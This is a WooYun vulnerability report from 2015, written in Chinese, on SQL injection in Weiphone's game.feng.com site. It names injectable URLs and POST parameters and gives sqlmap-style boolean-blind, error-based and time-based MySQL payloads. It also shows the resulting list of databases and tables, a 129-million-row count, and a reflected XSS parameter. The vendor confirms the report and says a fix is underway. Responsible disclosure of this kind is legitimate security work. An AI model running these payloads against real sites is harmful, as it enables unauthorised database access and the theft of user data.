当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091813

漏洞标题:威锋网某站SQL注射影响大量数据库

相关厂商:weiphone

漏洞作者: 紫霞仙子

提交时间:2015-01-14 13:51

修复时间:2015-02-28 13:52

公开时间:2015-02-28 13:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-14: 细节已通知厂商并且等待厂商处理中
2015-01-14: 厂商已经确认,细节仅向厂商公开
2015-01-24: 细节向核心白帽子及相关领域专家公开
2015-02-03: 细节向普通白帽子公开
2015-02-13: 细节向实习白帽子公开
2015-02-28: 细节向公众公开

简要描述:

233

详细说明:

多处SQL注射:
1,http://game.feng.com/game/newsAuthor/jsonToInformation-page-2-type-all-sort-time_desc.shtml?contributor=98wwcc

f20150114131648.jpg


f20150114131710.jpg


通过2次返回结果判定注入存在
2,POST型
http://game.feng.com:80/game/topicread/getNewFormerData.shtml (POST)
game_ids=1445909,1446139,1446138,1445876,1445776,1445997,1032663,1391182,1376035,1445917&special_id=1
3,http://game.feng.com:80/game/topicread/getSpecialCommentList.shtml (POST)ord=&page=(select%20convert(int%2cCHAR(65)))&special_id=114
4,http://game.feng.com:80/index.php?r=game/site/getCategoryGames (POST)cate_id=1'%22

漏洞证明:

---
Parameter: special_id (POST)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: game_ids=1445909,1446139,1446138,1445876,1445776,1445997,1032663,1391182,1376035,1445917&special_id=1 RLIKE (SELECT (CASE WHEN (7452=7452) THEN 1 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: game_ids=1445909,1446139,1446138,1445876,1445776,1445997,1032663,1391182,1376035,1445917&special_id=1 AND (SELECT 1560 FROM(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (CASE WHEN (1560=1560) THEN 1 ELSE 0 END)),0x71626b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: game_ids=1445909,1446139,1446138,1445876,1445776,1445997,1032663,1391182,1376035,1445917&special_id=1 AND SLEEP(5)
---
back-end DBMS: MySQL 5.0
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] we+
[*] weapodspace
Database: weapodspace
[11 tables]
+-------------------------+
| system_cache |
| system_cache_group |
| system_function |
| system_module |
| system_right |
| system_right_url |
| system_role |
| system_role_right |
| system_user_role |
| weiphone_app_*_info |
| weiphone_app_*_info_1 |
+-------------------------+
Database: we+
[271 tables]
+----------------------------------------+
| we_user_expert(delete) |
| account_record |
| admin_log |
| admin_message |
| admin_user |
| android_market_file_info |
| app_advertisement |
| app_and_article_relations |
| app_android_entity |
| app_android_entity_datetime |
| app_android_entity_decimal |
| app_android_entity_int |
| app_android_entity_text |
| app_android_entity_varchar |
| app_android_flat |
| app_android_flat_exten |
| app_article
表太多,就补贴出来了。
select count(*) from weiphone_app_use_info: '129261673'

f20150114132650.png

修复方案:

再送一个反射XSS http://game.feng.com:80/index.php?kw=
求20RANK!!!

版权声明:转载请注明来源 紫霞仙子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-14 14:08

厂商回复:

谢谢,我们修补中

最新状态:

暂无


漏洞评价:

评论